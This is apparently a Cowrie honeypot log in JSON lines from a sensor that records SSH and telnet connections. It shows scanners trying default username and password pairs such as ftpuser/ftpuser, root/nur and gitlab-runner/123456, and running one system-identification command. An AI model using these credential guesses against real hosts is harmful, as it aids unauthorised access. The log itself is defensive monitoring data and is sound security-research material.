{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:11.288951Z","src_ip":"45.153.34.114","session":"61fe408e4fa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41764,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ae89704ecb7","protocol":"telnet","message":"New connection: 74.91.213.120:41764 (159.203.135.109:23) [session: 8ae89704ecb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:14.483047Z"}
{"eventid":"cowrie.session.closed","duration":31.15044403076172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:14.614295Z","src_ip":"74.91.213.120","session":"6a26546c37b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33186,"dst_ip":"159.203.135.109","dst_port":22,"session":"8174f5ed0944","protocol":"ssh","message":"New connection: 45.153.34.114:33186 (159.203.135.109:22) [session: 8174f5ed0944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:17.923119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:17.927847Z","src_ip":"45.153.34.114","session":"8174f5ed0944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:18.016300Z","src_ip":"45.153.34.114","session":"8174f5ed0944","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:18.284242Z","src_ip":"45.153.34.114","session":"8174f5ed0944","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:18.503482Z","src_ip":"45.153.34.114","session":"8174f5ed0944","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:18.506799Z","src_ip":"45.153.34.114","session":"8174f5ed0944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17184853553772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:18.585554Z","src_ip":"74.91.213.120","session":"d3939ffb0ce3","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:18.593165Z","src_ip":"45.153.34.114","session":"8174f5ed0944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:18.598093Z","src_ip":"45.153.34.114","session":"8174f5ed0944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55884,"dst_ip":"159.203.135.109","dst_port":22,"session":"068f094c632f","protocol":"ssh","message":"New connection: 45.153.34.114:55884 (159.203.135.109:22) [session: 068f094c632f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:26.298534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:26.303324Z","src_ip":"45.153.34.114","session":"068f094c632f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:26.392567Z","src_ip":"45.153.34.114","session":"068f094c632f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:26.648622Z","src_ip":"45.153.34.114","session":"068f094c632f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:27.752251Z","src_ip":"45.153.34.114","session":"068f094c632f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42986,"dst_ip":"159.203.135.109","dst_port":22,"session":"994ac1afaea4","protocol":"ssh","message":"New connection: 45.153.34.114:42986 (159.203.135.109:22) [session: 994ac1afaea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:33.888635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:33.893397Z","src_ip":"45.153.34.114","session":"994ac1afaea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:33.979830Z","src_ip":"45.153.34.114","session":"994ac1afaea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:34.256855Z","src_ip":"45.153.34.114","session":"994ac1afaea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:35.344678Z","src_ip":"45.153.34.114","session":"994ac1afaea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44376,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc068743e5aa","protocol":"ssh","message":"New connection: 45.153.34.114:44376 (159.203.135.109:22) [session: cc068743e5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:42.007502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:42.016906Z","src_ip":"45.153.34.114","session":"cc068743e5aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:42.094652Z","src_ip":"45.153.34.114","session":"cc068743e5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:42.554483Z","src_ip":"45.153.34.114","session":"cc068743e5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:43.643737Z","src_ip":"45.153.34.114","session":"cc068743e5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1336567401886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:45.616468Z","src_ip":"74.91.213.120","session":"8ae89704ecb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58410,"dst_ip":"159.203.135.109","dst_port":22,"session":"420e75dbcbe4","protocol":"ssh","message":"New connection: 45.153.34.114:58410 (159.203.135.109:22) [session: 420e75dbcbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:50.048002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:50.052322Z","src_ip":"45.153.34.114","session":"420e75dbcbe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:50.134275Z","src_ip":"45.153.34.114","session":"420e75dbcbe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:50.519720Z","src_ip":"45.153.34.114","session":"420e75dbcbe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:51.611862Z","src_ip":"45.153.34.114","session":"420e75dbcbe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":24518,"dst_ip":"10.17.0.5","dst_port":22,"session":"b23d6c6e3981","protocol":"ssh","message":"New connection: 175.107.32.186:24518 (10.17.0.5:22) [session: b23d6c6e3981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:54.621252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:54.628948Z","src_ip":"175.107.32.186","session":"b23d6c6e3981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:54.846035Z","src_ip":"175.107.32.186","session":"b23d6c6e3981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nur","message":"login attempt [root/nur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:55.774756Z","src_ip":"175.107.32.186","session":"b23d6c6e3981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:56.995540Z","src_ip":"175.107.32.186","session":"b23d6c6e3981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58420,"dst_ip":"159.203.135.109","dst_port":22,"session":"5629054436c0","protocol":"ssh","message":"New connection: 45.153.34.114:58420 (159.203.135.109:22) [session: 5629054436c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:58.196655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:58.202405Z","src_ip":"45.153.34.114","session":"5629054436c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:58.281565Z","src_ip":"45.153.34.114","session":"5629054436c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:58.614425Z","src_ip":"45.153.34.114","session":"5629054436c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:59.718330Z","src_ip":"45.153.34.114","session":"5629054436c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35958,"dst_ip":"159.203.135.109","dst_port":23,"session":"589955a16859","protocol":"telnet","message":"New connection: 74.91.213.120:35958 (159.203.135.109:23) [session: 589955a16859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:01.967595Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39090,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03f78394954","protocol":"ssh","message":"New connection: 45.153.34.114:39090 (159.203.135.109:22) [session: f03f78394954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:06.267230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:06.281648Z","src_ip":"45.153.34.114","session":"f03f78394954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa